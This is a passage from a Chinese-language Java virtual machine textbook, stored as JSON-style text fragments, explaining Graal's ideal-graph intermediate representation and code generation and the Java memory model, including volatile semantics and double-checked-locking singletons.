本节部分示例和图片来自于Chris Seaton的文章《Understanding How Graal Works-a Java JIT Compiler Written in Java》：https://chrisseaton.com/truffleruby/jokerconf17/。"},
    {"text": "11.5.4 代码中间表示 Graal编译器在设计之初就刻意采用了与HotSpot服务端编译器一致（略有差异但已经非常接近）的中间表示形式，也即是被称为Sea-of-Nodes的中间表示，或者与其等价的被称为理想图（Ideal Graph，在代码中称为Structured Graph）的程序依赖图（Program Dependence Graph，PDG）形式。在11.2节即时编译器的实战中，我们已经通过可视化工具Ideal Graph Visualizer看到过在理想图上翻译和优化输入代码的整体过程，从编译器内部来看即：字节码→理想图→优化→机器码（以Mach Node Graph表示）的转变过程。在那个实战里面，我们着重分析的是理想图转换优化的整体过程，对于多数读者，尤其是不熟悉编译原理与编译器设计的读者，可能会不太容易读懂每个阶段所要做的工作。在本节里面，我们以例子和对照Graal源码的形式，详细讲解输入代码与理想图的转化对应关系，以便读者理解Graal是如何基于理想图去优化代码的。 理想图是一种有向图，用节点来表示程序中的元素，譬如变量、操作符、方法、字段等，而用边来表示数据或者控制流。我们先从最简单的例子出发。譬如有一个表达式：x+y，在理想图中可以表示为x、y两个节点的数据流流入加法操作符，表示相加操作读取了x、y的值，流出的便则表示数据流的流向，即相加的结果会在哪里被使用，如图11-13所示。 图11-13 构造理想图（1） 这很容易接受吧？那我们把例子稍微复杂化一些，把表达式x+y变为getX()+getY()，仍是用理想图表达其计算过程，这时候除了数据流向之外，还必须要考虑方法调用的顺序。在理想图中用另外一条边来表示方法的调用（为了便于区分，数据流笔者使用蓝色线（以虚线表示），控制流使用红色线（以实线表示）），说明代码的执行顺序是先调用getX()方法，再调用getY()方法，如图11-14所示。 图11-14 构造理想图（2） 以上这些简单的前置知识就已经足以支撑我们本次实战的进行了，理想图本质上就是这种将数据流图和控制流图以某种方式合并到一起，用一种边来表示数据流向，另一种边来表示控制流向的图形表示。 现在我们在代码清单11-15或者代码清单11-16所示的基础上再增加一个参数-Dgraal.Dump，要求Graal编译器把构造的理想图输出出来，加入后编译时将会产生类似如下的输出，提示了生成的理想图的存储位置： [Use -Dgraal.LogFile=<path> to redirect Graal log output to a file.] Dumping IGV graphs in /home/icyfenix/develop/eclipse-workspace/A_GraalTest/graal_dumps/2019.08.18.16.51.23.073 我们可以使用mx igv命令来获得能够支持Graal编译器生成的理想图格式的新版本的Ideal Graph Visualizer工具 [1] ，我们以下面这段简单代码的理想图的表示为例子： int average(int a, int b) { return (a + b) / 2; } 在Ideal Graph Visualizer工具中，将显示图11-15所示的样式的理想图。 图11-15 构造理想图（3） 与图11-11和图11-12所示相比，虽然没有了箭头，但是节点上列明了代表执行顺序的序号，仍然是蓝色线表示数据流、红色线表示控制流。从图中可以看到参数0（记作P(0)）和参数1（记作P(1)）是如何送入加法操作的，然后结果是如何和常量2（记作C(2)）一起送入除法操作的。 再下一步我们就会开始接触真实的代码编译和优化了。前面介绍编译器优化技术时提到过公共子表达式消除，那我们来设计代码清单11-17所示的两段代码。 代码清单11-17 公共子表达式被消除的应用范围 // 以下代码的公共子表达式能够被消除 int workload(int a, int b) { return (a + b) * (a + b); } // 以下代码的公共子表达式是不可以被消除的 int workload() { return (getA() + getB()) * (getA() + getB()); } 对于第一段代码，a+b是公共子表达式，可以通过优化使其只计算一次而不会有任何的副作用。但是对于第二段代码，由于getA()和getB()方法内部所蕴含的操作是不确定的，它是否被调用、调用次数的不同都可能会产生不同返回值或者其他影响程序状态的副作用（譬如改变某个全局的状态变量），这种代码只能内联了getA()和getB()方法之后才能考虑更进一步的优化措施，仍然保持函数调用的情况下是无法做公共子表达式消除的。我们可以从Graal生成的理想图中清晰地看到这一点，对于第一段代码，生成的理想图如图11-16所示。 图11-16 构造理想图（4） 从图11-16所示中可以看到，参数1、2的加法操作只进行了一次，然后同时流出了两条数据流指向乘法操作的输入中。而如果是第二段代码，则生成的理想图如图11-17所示。 图11-17 构造理想图（5） 从图中代表控制流的红色边（以实线表示）可以看出，四次方法调用全部执行了，代表数据流的蓝色边（以虚线表示）也明确看到了两个独立加法操作节点，由此看出这个版本是不会把它当作公共子表达式来消除的。 [1] 在以下地址可以下载：https://www.oracle.com/technetwork/graalvm/downloads/index.html。"},
    {"text": "11.5.5 代码优化与生成 相信读者现在已经能够基本看明白Graal理想图的中间表示了，那对应到代码上，Graal编译器是如何从字节码生成理想图？"},
    {"text": "这时候就充分体现出了Graal编译器在使用Java编写时对普通Java程序员来说具有的便捷性了，在Outline视图中找到创建理想图的方法是greateGraph()，我们可以从Call Hierarchy视图中轻易地找到从JVMCI的入口方法compileMethod()到greateGraph()之间的调用关系，如图11-18所示。 greateGraph()方法的代码也很清晰，里面调用了StructuredGraph::Builder()构造器来创建理想图。"},
    {"text": "仍然以x+y表达式为例，譬如其中的加法操作，就由AddNode节点来表示，从图11-19所示的Type Hierarchy视图中可以清楚地看到加法操作是二元算术操作节点（BinaryArithmeticNode<OP>）的一种，而二元算术操作节点又是二元操作符（BinaryNode）的一种，以此类推直到所有操作符的共同父类ValueNode（表示可以返回数据的节点）。"},
    {"text": "如果这真的是一个字节码解释器，执行一个整数加法操作，按照《Java虚拟机规范》所定义的iadd操作码的规则，应该从栈帧中出栈两个操作数，然后相加，再将结果入栈。"},
    {"text": "图11-19 节点继承关系 图11-20 字节码解析器实现的iadd操作码 其中，genIntegerAdd()方法中就只有一行代码，即调用AddNode节点的create()方法，将两个操作数作为参数传入，创建出AddNode节点，如下所示： protected ValueNode genIntegerAdd(ValueNode x, ValueNode y) { return AddNode.create(x, y, NodeView.DEFAULT); } 每一个理想图的节点都有两个共同的主要操作，一个是规范化（Canonicalisation），另一个是生成机器码（Generation）。"},
    {"text": "AddNode节点的规范化是实现在canonical()方法中的，机器码生成则是实现在generate()方法中的，从AddNode的创建方法上可以看到，在节点创建时会调用canonical()方法尝试进行规范化缩减图的规模，如下所示： public static ValueNode create(ValueNode x, ValueNode y, NodeView view) { BinaryOp<Add> op = ArithmeticOpTable.forStamp(x.stamp(view)).getAdd(); Stamp stamp = op.foldStamp(x.stamp(view), y.stamp(view)); ConstantNode tryConstantFold = tryConstantFold(op, x, y, stamp, view); if (tryConstantFold != null) { return tryConstantFold; } if (x.isConstant() && !y.isConstant()) { return canonical(null, op, y, x, view); } else { return canonical(null, op, x, y, view); } } 从AddNode的canonical()方法中我们可以看到为了缩减理想图的规模而做的相当多的努力，即使只是两个整数相加那么简单的操作，也尝试过了常量折叠（如果两个操作数都为常量，则直接返回一个常量节点）、算术聚合（聚合树的常量子节点，譬如将(a+1)+2聚合为a+3）、符号合并（聚合树的相反符号子节点，譬如将(a-b)+b或者b+(a-b)直接合并为a）等多种优化，canonical()方法的内容较多，请读者自行参考源码，为节省版面这里就不贴出了。 对理想图的规范化并不局限于单个操作码的局部范围之内，很多的优化都是要立足于全局来进行的，这类操作在CanonicalizerPhase类中完成。 仍然以上一节的公共子表达式消除为例，这就是一个全局性的优化，实现在CanonicalizerPhase::tryGlobalValueNumbering()方法中，其逻辑看起来已经非常清晰了：如果理想图中发现了可以进行消除的算术子表达式，那就找出重复的节点，然后替换、删除。"},
    {"text": "具体代码如下所示： public boolean tryGlobalValueNumbering(Node node, NodeClass<?> nodeClass) { if (nodeClass.valueNumberable()) { Node newNode = node.graph().findDuplicate(node); if (newNode != null) { assert !(node instanceof FixedNode || newNode instanceof FixedNode); node.replaceAtUsagesAndDelete(newNode); COUNTER_GLOBAL_VALUE_NUMBERING_HITS.increment(debug); debug.log(\"GVN applied and new node is %1s\", newNode); return true; } } return false; } 至于代码生成，Graal并不是直接由理想图转换到机器码，而是和其他编译器一样，会先生成低级中间表示（LIR，与具体机器指令集相关的中间表示），然后再由HotSpot统一后端来产生机器码。"},
    {"text": "从低级中间表示的实现类上，我们可以看到Graal编译器能够支持的目标平台，目前它只提供了三种目标平台的指令集（SPARC、x86-AMD64、ARMv8-AArch64）的低级中间表示，所以现在Graal编译器也就只能支持这几种目标平台，如图11-21所示。"},
    {"text": "图11-21 Graal支持的目标平台生成器 为了验证代码阅读的成果，现在我们来对AddNode的代码生成做一些小改动，将原本生成加法汇编指令修改为生成减法汇编指令，即按如下方式修改AddNode::generate()方法： class AddNode { void generate(...) { ... gen.emitSub(op1, op2, false) ... // 原来这个方法是emitAdd() } } 然后在虚拟机运行参数中加上-XX：+PrintAssembly参数，因为从低级中间表示到真正机器码的转换是由HotSpot统一负责的，所以11.2节中用到的HSDIS插件仍然能发挥作用，帮助我们输出汇编代码。 从输出的汇编中可以看到，在没有修改之前，AddNode节点输出的汇编代码如下所示： 0x000000010f71cda0: nopl 0x0(%rax,%rax,1) 0x000000010f71cda5: add %edx,%esi ;*iadd {reexecute=0 rethrow=0 return_oop=0} ; - Demo::workload@2 (line 10) 0x000000010f71cda7: mov %esi,%eax ;*ireturn {reexecute=0 rethrow=0 return_oop=0} ; - Demo::workload@3 (line 10) 0x000000010f71cda9: test %eax,-0xcba8da9(%rip) # 0x0000000102b74006 ; {poll_return} 0x000000010f71cdaf: vzeroupper 0x000000010f71cdb2: retq 而被我们修改后，编译的结果已经变为： 0x0000000107f451a0: nopl 0x0(%rax,%rax,1) 0x0000000107f451a5: sub %edx,%esi ;*iadd {reexecute=0 rethrow=0 return_oop=0} ; - Demo::workload@2 (line 10) 0x0000000107f451a7: mov %esi,%eax ;*ireturn {reexecute=0 rethrow=0 return_oop=0} ; - Demo::workload@3 (line 10) 0x0000000107f451a9: test %eax,-0x1db81a9(%rip) # 0x000000010618d006 ; {poll_return} 0x0000000107f451af: vzeroupper 0x0000000107f451b2: retq 我们的修改确实促使Graal编译器产生了不同的汇编代码，这也印证了我们代码分析的思路是正确的。"},
    {"text": "在本书第2版编写时，只有C++编写的复杂无比的服务端编译器，要进行类似的实战是非常困难的，即使勉强写出来，也会因为过度烦琐而失去阅读价值。"},
    {"text": "11.6 本章小结 在本章中，我们学习了与提前编译和即时编译器两大后端编译器相关的知识，了解了提前编译器重新兴起的原因及其优劣势；还有与即时编译器相关的热点探测方法、编译触发条件及如何从虚拟机外部观察和分析即时编译的数据和结果；还选择了几种常见的编译器优化技术进行讲解，对Java编译器的深入了解，有助于在工作中分辨哪些代码是编译器可以帮我们处理的，哪些代码需要自己调节以便更适合编译器的优化。 第五部分 高效并发 ·第12章 Java内存模型与线程 ·第13章 线程安全与锁优化 第12章 Java内存模型与线程 并发处理的广泛应用是Amdahl定律代替摩尔定律 [1] 成为计算机性能发展源动力的根本原因，也是人类压榨计算机运算能力的最有力武器。 [1] Amdahl定律通过系统中并行化与串行化的比重来描述多处理器系统能获得的运算加速能力，摩尔定律则用于描述处理器晶体管数量与运行效率之间的发展关系。这两个定律的更替代表了近年来硬件发展从追求处理器频率到追求多核心并行处理的发展过程。 12.1 概述 多任务处理在现代计算机操作系统中几乎已是一项必备的功能了。在许多场景下，让计算机同时去做几件事情，不仅是因为计算机的运算能力强大了，还有一个很重要的原因是计算机的运算速度与它的存储和通信子系统的速度差距太大，大量的时间都花费在磁盘I/O、网络通信或者数据库访问上。如果不希望处理器在大部分时间里都处于等待其他资源的空闲状态，就必须使用一些手段去把处理器的运算能力“压榨”出来，否则就会造成很大的性能浪费，而让计算机同时处理几项任务则是最容易想到，也被证明是非常有效的“压榨”手段。 除了充分利用计算机处理器的能力外，一个服务端要同时对多个客户端提供服务，则是另一个更具体的并发应用场景。衡量一个服务性能的高低好坏，每秒事务处理数（Transactions Per Second，TPS）是重要的指标之一，它代表着一秒内服务端平均能响应的请求总数，而TPS值与程序的并发能力又有非常密切的关系。对于计算量相同的任务，程序线程并发协调得越有条不紊，效率自然就会越高；反之，线程之间频繁争用数据，互相阻塞甚至死锁，将会大大降低程序的并发能力。 服务端的应用是Java语言最擅长的领域之一，这个领域的应用占了Java应用中最大的一块份额 [1] ，不过如何写好并发应用程序却又是服务端程序开发的难点之一，处理好并发方面的问题通常需要更多的编码经验来支持。幸好Java语言和虚拟机提供了许多工具，把并发编程的门槛降低了不少。各种中间件服务器、各类框架也都努力地替程序员隐藏尽可能多的线程并发细节，使得程序员在编码时能更关注业务逻辑，而不是花费大部分时间去关注此服务会同时被多少人调用、如何处理数据争用、协调硬件资源。但是无论语言、中间件和框架再如何先进，开发人员都不应期望它们能独立完成所有并发处理的事情，了解并发的内幕仍然是成为一个高级程序员不可缺少的课程。 “高效并发”是本书讲解Java虚拟机的最后一个部分，将会向读者介绍虚拟机如何实现多线程、多线程之间由于共享和竞争数据而导致的一系列问题及解决方案。 [1] 必须以代码的总体规模来衡量，服务端应用不能与JavaCard、移动终端这些领域去比绝对数量。"},
    {"text": "12.2 硬件的效率与一致性 在正式讲解Java虚拟机并发相关的知识之前，我们先花费一点时间去了解一下物理计算机中的并发问题。物理机遇到的并发问题与虚拟机中的情况有很多相似之处，物理机对并发的处理方案对虚拟机的实现也有相当大的参考意义。 “让计算机并发执行若干个运算任务”与“更充分地利用计算机处理器的效能”之间的因果关系，看起来理所当然，实际上它们之间的关系并没有想象中那么简单，其中一个重要的复杂性的来源是绝大多数的运算任务都不可能只靠处理器“计算”就能完成。处理器至少要与内存交互，如读取运算数据、存储运算结果等，这个I/O操作就是很难消除的（无法仅靠寄存器来完成所有运算任务）。由于计算机的存储设备与处理器的运算速度有着几个数量级的差距，所以现代计算机系统都不得不加入一层或多层读写速度尽可能接近处理器运算速度的高速缓存（Cache）来作为内存与处理器之间的缓冲：将运算需要使用的数据复制到缓存中，让运算能快速进行，当运算结束后再从缓存同步回内存之中，这样处理器就无须等待缓慢的内存读写了。 基于高速缓存的存储交互很好地解决了处理器与内存速度之间的矛盾，但是也为计算机系统带来更高的复杂度，它引入了一个新的问题：缓存一致性（Cache Coherence）。在多路处理器系统中，每个处理器都有自己的高速缓存，而它们又共享同一主内存（Main Memory），这种系统称为共享内存多核系统（Shared Memory Multiprocessors System），如图12-1所示。当多个处理器的运算任务都涉及同一块主内存区域时，将可能导致各自的缓存数据不一致。如果真的发生这种情况，那同步回到主内存时该以谁的缓存数据为准呢？为了解决一致性的问题，需要各个处理器访问缓存时都遵循一些协议，在读写时要根据协议来进行操作，这类协议有MSI、MESI（Illinois Protocol）、MOSI、Synapse、Firefly及Dragon Protocol等。从本章开始，我们将会频繁见到“内存模型”一词，它可以理解为在特定的操作协议下，对特定的内存或高速缓存进行读写访问的过程抽象。不同架构的物理机器可以拥有不一样的内存模型，而Java虚拟机也有自己的内存模型，并且与这里介绍的内存访问操作及硬件的缓存访问操作具有高度的可类比性。 图12-1 处理器、高速缓存、主内存间的交互关系 除了增加高速缓存之外，为了使处理器内部的运算单元能尽量被充分利用，处理器可能会对输入代码进行乱序执行（Out-Of-Order Execution）优化，处理器会在计算之后将乱序执行的结果重组，保证该结果与顺序执行的结果是一致的，但并不保证程序中各个语句计算的先后顺序与输入代码中的顺序一致，因此如果存在一个计算任务依赖另外一个计算任务的中间结果，那么其顺序性并不能靠代码的先后顺序来保证。与处理器的乱序执行优化类似，Java虚拟机的即时编译器中也有指令重排序（Instruction Reorder）优化。 12.3 Java内存模型 《Java虚拟机规范》 [1] 中曾试图定义一种“Java内存模型” [2] （Java Memory Model，JMM）来屏蔽各种硬件和操作系统的内存访问差异，以实现让Java程序在各种平台下都能达到一致的内存访问效果。在此之前，主流程序语言（如C和C++等）直接使用物理硬件和操作系统的内存模型。因此，由于不同平台上内存模型的差异，有可能导致程序在一套平台上并发完全正常，而在另外一套平台上并发访问却经常出错，所以在某些场景下必须针对不同的平台来编写程序。 定义Java内存模型并非一件容易的事情，这个模型必须定义得足够严谨，才能让Java的并发内存访问操作不会产生歧义；但是也必须定义得足够宽松，使得虚拟机的实现能有足够的自由空间去利用硬件的各种特性（寄存器、高速缓存和指令集中某些特有的指令）来获取更好的执行速度。经过长时间的验证和修补，直至JDK 5（实现了JSR-133 [3] ）发布后，Java内存模型才终于成熟、完善起来了。 [1] 在《Java虚拟机规范》的第2版及之前，专门有一章“Threads and Locks”来描述内存模型，后来由于这部分内容难以把握宽紧限度，被反复修正更新，从第3版（Java SE 7版）开始索性就被移除出规范，独立以JSR形式维护。 [2] 本书中的Java内存模型都特指目前正在使用的，在JDK 1.2之后建立起来并在JDK 5中完善过的内存模型。 [3] JSR-133：Java Memory Model and Thread Specification Revision（Java内存模型和线程规范修订）。"},
    {"text": "12.3.1 主内存与工作内存 Java内存模型的主要目的是定义程序中各种变量的访问规则，即关注在虚拟机中把变量值存储到内存和从内存中取出变量值这样的底层细节。此处的变量（Variables）与Java编程中所说的变量有所区别，它包括了实例字段、静态字段和构成数组对象的元素，但是不包括局部变量与方法参数，因为后者是线程私有的 [1] ，不会被共享，自然就不会存在竞争问题。为了获得更好的执行效能，Java内存模型并没有限制执行引擎使用处理器的特定寄存器或缓存来和主内存进行交互，也没有限制即时编译器是否要进行调整代码执行顺序这类优化措施。 Java内存模型规定了所有的变量都存储在主内存（Main Memory）中（此处的主内存与介绍物理硬件时提到的主内存名字一样，两者也可以类比，但物理上它仅是虚拟机内存的一部分）。每条线程还有自己的工作内存（Working Memory，可与前面讲的处理器高速缓存类比），线程的工作内存中保存了被该线程使用的变量的主内存副本 [2] ，线程对变量的所有操作（读取、赋值等）都必须在工作内存中进行，而不能直接读写主内存中的数据 [3] 。不同的线程之间也无法直接访问对方工作内存中的变量，线程间变量值的传递均需要通过主内存来完成，线程、主内存、工作内存三者的交互关系如图12-2所示，注意与图12-1进行对比。 图12-2 线程、主内存、工作内存三者的交互关系（请与图12-1对比） 这里所讲的主内存、工作内存与第2章所讲的Java内存区域中的Java堆、栈、方法区等并不是同一个层次的对内存的划分，这两者基本上是没有任何关系的。如果两者一定要勉强对应起来，那么从变量、主内存、工作内存的定义来看，主内存主要对应于Java堆中的对象实例数据部分 [4] ，而工作内存则对应于虚拟机栈中的部分区域。从更基础的层次上说，主内存直接对应于物理硬件的内存，而为了获取更好的运行速度，虚拟机（或者是硬件、操作系统本身的优化措施）可能会让工作内存优先存储于寄存器和高速缓存中，因为程序运行时主要访问的是工作内存。 [1] 此处请读者注意区分概念：如果局部变量是一个reference类型，它引用的对象在Java堆中可被各个线程共享，但是reference本身在Java栈的局部变量表中是线程私有的。 [2] 有部分读者会对这段描述中的“副本”提出疑问，如“假设线程中访问一个10MB大小的对象，也会把这10MB的内存复制一份出来吗？”，事实上并不会如此，这个对象的引用、对象中某个在线程访问到的字段是有可能被复制的，但不会有虚拟机把整个对象复制一次。 [3] 根据《Java虚拟机规范》的约定，volatile变量依然有工作内存的拷贝，但是由于它特殊的操作顺序性规定（后文会讲到），所以看起来如同直接在主内存中读写访问一般，因此这里的描述对于volatile也并不存在例外。 [4] 除了实例数据，Java堆还保存了对象的其他信息，对于HotSpot虚拟机来讲，有Mark Word（存储对象哈希码、GC标志、GC年龄、同步锁等信息）、Klass Point（指向存储类型元数据的指针）及一些用于字节对齐补白的填充数据（如果实例数据刚好满足8字节对齐，则可以不存在补白）。"},
    {"text": "12.3.2 内存间交互操作 关于主内存与工作内存之间具体的交互协议，即一个变量如何从主内存拷贝到工作内存、如何从工作内存同步回主内存这一类的实现细节，Java内存模型中定义了以下8种操作来完成。Java虚拟机实现时必须保证下面提及的每一种操作都是原子的、不可再分的（对于double和long类型的变量来说，load、store、read和write操作在某些平台上允许有例外，这个问题在12.3.4节会专门讨论） [1] 。 ·lock（锁定）：作用于主内存的变量，它把一个变量标识为一条线程独占的状态。 ·unlock（解锁）：作用于主内存的变量，它把一个处于锁定状态的变量释放出来，释放后的变量才可以被其他线程锁定。 ·read（读取）：作用于主内存的变量，它把一个变量的值从主内存传输到线程的工作内存中，以便随后的load动作使用。 ·load（载入）：作用于工作内存的变量，它把read操作从主内存中得到的变量值放入工作内存的变量副本中。 ·use（使用）：作用于工作内存的变量，它把工作内存中一个变量的值传递给执行引擎，每当虚拟机遇到一个需要使用变量的值的字节码指令时将会执行这个操作。 ·assign（赋值）：作用于工作内存的变量，它把一个从执行引擎接收的值赋给工作内存的变量，每当虚拟机遇到一个给变量赋值的字节码指令时执行这个操作。 ·store（存储）：作用于工作内存的变量，它把工作内存中一个变量的值传送到主内存中，以便随后的write操作使用。 ·write（写入）：作用于主内存的变量，它把store操作从工作内存中得到的变量的值放入主内存的变量中。 如果要把一个变量从主内存拷贝到工作内存，那就要按顺序执行read和load操作，如果要把变量从工作内存同步回主内存，就要按顺序执行store和write操作。注意，Java内存模型只要求上述两个操作必须按顺序执行，但不要求是连续执行。也就是说read与load之间、store与write之间是可插入其他指令的，如对主内存中的变量a、b进行访问时，一种可能出现的顺序是read a、read b、load b、load a。除此之外，Java内存模型还规定了在执行上述8种基本操作时必须满足如下规则： ·不允许read和load、store和write操作之一单独出现，即不允许一个变量从主内存读取了但工作内存不接受，或者工作内存发起回写了但主内存不接受的情况出现。 ·不允许一个线程丢弃它最近的assign操作，即变量在工作内存中改变了之后必须把该变化同步回主内存。 ·不允许一个线程无原因地（没有发生过任何assign操作）把数据从线程的工作内存同步回主内存中。 ·一个新的变量只能在主内存中“诞生”，不允许在工作内存中直接使用一个未被初始化（load或assign）的变量，换句话说就是对一个变量实施use、store操作之前，必须先执行assign和load操作。 ·一个变量在同一个时刻只允许一条线程对其进行lock操作，但lock操作可以被同一条线程重复执行多次，多次执行lock后，只有执行相同次数的unlock操作，变量才会被解锁。 ·如果对一个变量执行lock操作，那将会清空工作内存中此变量的值，在执行引擎使用这个变量前，需要重新执行load或assign操作以初始化变量的值。 ·如果一个变量事先没有被lock操作锁定，那就不允许对它执行unlock操作，也不允许去unlock一个被其他线程锁定的变量。 ·对一个变量执行unlock操作之前，必须先把此变量同步回主内存中（执行store、write操作）。 这8种内存访问操作以及上述规则限定，再加上稍后会介绍的专门针对volatile的一些特殊规定，就已经能准确地描述出Java程序中哪些内存访问操作在并发下才是安全的。这种定义相当严谨，但也是极为烦琐，实践起来更是无比麻烦。可能部分读者阅读到这里已经对多线程开发产生恐惧感了，后来Java设计团队大概也意识到了这个问题，将Java内存模型的操作简化为read、write、lock和unlock四种，但这只是语言描述上的等价化简，Java内存模型的基础设计并未改变，即使是这四操作种，对于普通用户来说阅读使用起来仍然并不方便。不过读者对此无须过分担忧，除了进行虚拟机开发的团队外，大概没有其他开发人员会以这种方式来思考并发问题，我们只需要理解Java内存模型的定义即可。12.3.6节将介绍这种定义的一个等效判断原则——先行发生原则，用来确定一个操作在并发环境下是否安全的。 [1] 基于理解难度和严谨性考虑，最新的JSR-133文档中，已经放弃了采用这8种操作去定义Java内存模型的访问协议，缩减为4种（仅是描述方式改变了，Java内存模型并没有改变）。"},
    {"text": "12.3.3 对于volatile型变量的特殊规则 关键字volatile可以说是Java虚拟机提供的最轻量级的同步机制，但是它并不容易被正确、完整地理解，以至于许多程序员都习惯去避免使用它，遇到需要处理多线程数据竞争问题的时候一律使用synchronized来进行同步。 了解volatile变量的语义对后面理解多线程操作的其他特性很有意义，在本节中我们将多花费一些篇幅介绍volatile到底意味着什么。 Java内存模型为volatile专门定义了一些特殊的访问规则，在介绍这些比较拗口的规则定义之前，先用一些不那么正式，但通俗易懂的语言来介绍一下这个关键字的作用。 当一个变量被定义成volatile之后，它将具备两项特性：第一项是保证此变量对所有线程的可见性，这里的“可见性”是指当一条线程修改了这个变量的值，新值对于其他线程来说是可以立即得知的。"},
    {"text": "比如，线程A修改一个普通变量的值，然后向主内存进行回写，另外一条线程B在线程A回写完成了之后再对主内存进行读取操作，新变量值才会对线程B可见。"},
    {"text": "关于volatile变量的可见性，经常会被开发人员误解，他们会误以为下面的描述是正确的：“volatile变量对所有线程是立即可见的，对volatile变量所有的写操作都能立刻反映到其他线程之中。"},
    {"text": "换句话说，volatile变量在各个线程中是一致的，所以基于volatile变量的运算在并发下是线程安全的”。 这句话的论据部分并没有错，但是由其论据并不能得出“基于volatile变量的运算在并发下是线程安全的”这样的结论。 volatile变量在各个线程的工作内存中是不存在一致性问题的（从物理存储的角度看，各个线程的工作内存中volatile变量也可以存在不一致的情况，但由于每次使用之前都要先刷新，执行引擎看不到不一致的情况，因此可以认为不存在一致性问题），但是Java里面的运算操作符并非原子操作，这导致volatile变量的运算在并发下一样是不安全的，我们可以通过一段简单的演示来说明原因，请看代码清单12-1中演示的例子。 代码清单12-1 volatile的运算 [1] /** * volatile变量自增运算测试 * * @author zzm */ public class VolatileTest { public static volatile int race = 0; public static void increase() { race++; } private static final int THREADS_COUNT = 20; public static void main(String[] args) { Thread[] threads = new Thread[THREADS_COUNT]; for (int i = 0; i < THREADS_COUNT; i++) { threads[i] = new Thread(new Runnable() { @Override public void run() { for (int i = 0; i < 10000; i++) { increase(); } } }); threads[i].start(); } // 等待所有累加线程都结束 while (Thread.activeCount() > 1) Thread.yield(); System.out.println(race); } } 这段代码发起了20个线程，每个线程对race变量进行10000次自增操作，如果这段代码能够正确并发的话，最后输出的结果应该是200000。"},
    {"text": "问题就出在自增运算“race++”之中，我们用Javap反编译这段代码后会得到代码清单12-2所示，发现只有一行代码的increase()方法在Class文件中是由4条字节码指令构成（return指令不是由race++产生的，这条指令可以不计算），从字节码层面上已经很容易分析出并发失败的原因了：当getstatic指令把race的值取到操作栈顶时，volatile关键字保证了race的值在此时是正确的，但是在执行iconst_1、iadd这些指令的时候，其他线程可能已经把race的值改变了，而操作栈顶的值就变成了过期的数据，所以putstatic指令执行后就可能把较小的race值同步回主内存之中。 代码清单12-2 VolatileTest的字节码 public static void increase(); Code: Stack=2, Locals=0, Args_size=0 0: getstatic #13; //Field race:I 3: iconst_1 4: iadd 5: putstatic #13; //Field race:I 8: return LineNumberTable: line 14: 0 line 15: 8 实事求是地说，笔者使用字节码来分析并发问题仍然是不严谨的，因为即使编译出来只有一条字节码指令，也并不意味执行这条指令就是一个原子操作。"},
    {"text": "一条字节码指令在解释执行时，解释器要运行许多行代码才能实现它的语义。 如果是编译执行，一条字节码指令也可能转化成若干条本地机器码指令。"},
    {"text": "此处使用-XX：+PrintAssembly参数输出反汇编来分析才会更加严谨一些，但是考虑到读者阅读的方便性，并且字节码已经能很好地说明问题，所以此处使用字节码来解释。"},
    {"text": "由于volatile变量只能保证可见性，在不符合以下两条规则的运算场景中，我们仍然要通过加锁（使用synchronized、java.util.concurrent中的锁或原子类）来保证原子性： ·运算结果并不依赖变量的当前值，或者能够确保只有单一的线程修改变量的值。"},
    {"text": "而在像代码清单12-3所示的这类场景中就很适合使用volatile变量来控制并发，当shutdown()方法被调用时，能保证所有线程中执行的doWork()方法都立即停下来。 代码清单12-3 volatile的使用场景 volatile boolean shutdownRequested; public void shutdown() { shutdownRequested = true; } public void doWork() { while (!shutdownRequested) { // 代码的业务逻辑 } } 使用volatile变量的第二个语义是禁止指令重排序优化，普通的变量仅会保证在该方法的执行过程中所有依赖赋值结果的地方都能获取到正确的结果，而不能保证变量赋值操作的顺序与程序代码中的执行顺序一致。"},
    {"text": "因为在同一个线程的方法执行过程中无法感知到这点，这就是Java内存模型中描述的所谓“线程内表现为串行的语义”（Within-Thread As-If-Serial Semantics）。"},
    {"text": "代码清单12-4 指令重排序 Map configOptions; char[] configText; // 此变量必须定义为volatile volatile boolean initialized = false; // 假设以下代码在线程A中执行 // 模拟读取配置信息，当读取完成后 // 将initialized设置为true,通知其他线程配置可用 configOptions = new HashMap(); configText = readConfigFile(fileName); processConfigOptions(configText, configOptions); initialized = true; // 假设以下代码在线程B中执行 // 等待initialized为true，代表线程A已经把配置信息初始化完成 while (!initialized) { sleep(); } // 使用线程A中初始化好的配置信息 doSomethingWithConfig(); 代码清单12-4中所示的程序是一段伪代码，其中描述的场景是开发中常见配置读取过程，只是我们在处理配置文件时一般不会出现并发，所以没有察觉这会有问题。 读者试想一下，如果定义initialized变量时没有使用volatile修饰，就可能会由于指令重排序的优化，导致位于线程A中最后一条代码“initialized=true”被提前执行（这里虽然使用Java作为伪代码，但所指的重排序优化是机器级的优化操作，提前执行是指这条语句对应的汇编代码被提前执行），这样在线程B中使用配置信息的代码就可能出现错误，而volatile关键字则可以避免此类情况的发生 [2] 。 指令重排序是并发编程中最容易导致开发人员产生疑惑的地方之一，除了上面伪代码的例子之外，笔者再举一个可以实际操作运行的例子来分析volatile关键字是如何禁止指令重排序优化的。"},
    {"text": "代码清单12-5所示是一段标准的双锁检测（Double Check Lock，DCL）单例 [3] 代码，可以观察加入volatile和未加入volatile关键字时所生成的汇编代码的差别（如何获得即时编译的汇编代码？"},
    {"text": "代码清单12-5 DCL单例模式 public class Singleton { private volatile static Singleton instance; public static Singleton getInstance() { if (instance == null) { synchronized (Singleton.class) { if (instance == null) { instance = new Singleton(); } } } return instance; } public static void main(String[] args) { Singleton.getInstance(); } } 编译后，这段代码对instance变量赋值的部分如代码清单12-6所示。"},
    {"text": "代码清单12-6 对instance变量赋值 0x01a3de0f: mov $0x3375cdb0,%esi ;...beb0cd75 33 ; {oop('Singleton')} 0x01a3de14: mov %eax,0x150(%esi) ;...89865001 0000 0x01a3de1a: shr $0x9,%esi ;...c1ee09 0x01a3de1d: movb $0x0,0x1104800(%esi) ;...c6860048 100100 0x01a3de24: lock addl $0x0,(%esp) ;...f0830424 00 ;*putstatic instance ; - Singleton::getInstance@24 通过对比发现，关键变化在于有volatile修饰的变量，赋值后（前面mov%eax，0x150(%esi)这句便是赋值操作）多执行了一个“lock addl$0x0，(%esp)”操作，这个操作的作用相当于一个内存屏障（Memory Barrier或Memory Fence，指重排序时不能把后面的指令重排序到内存屏障之前的位置，注意不要与第3章中介绍的垃圾收集器用于捕获变量访问的内存屏障互相混淆），只有一个处理器访问内存时，并不需要内存屏障；"},
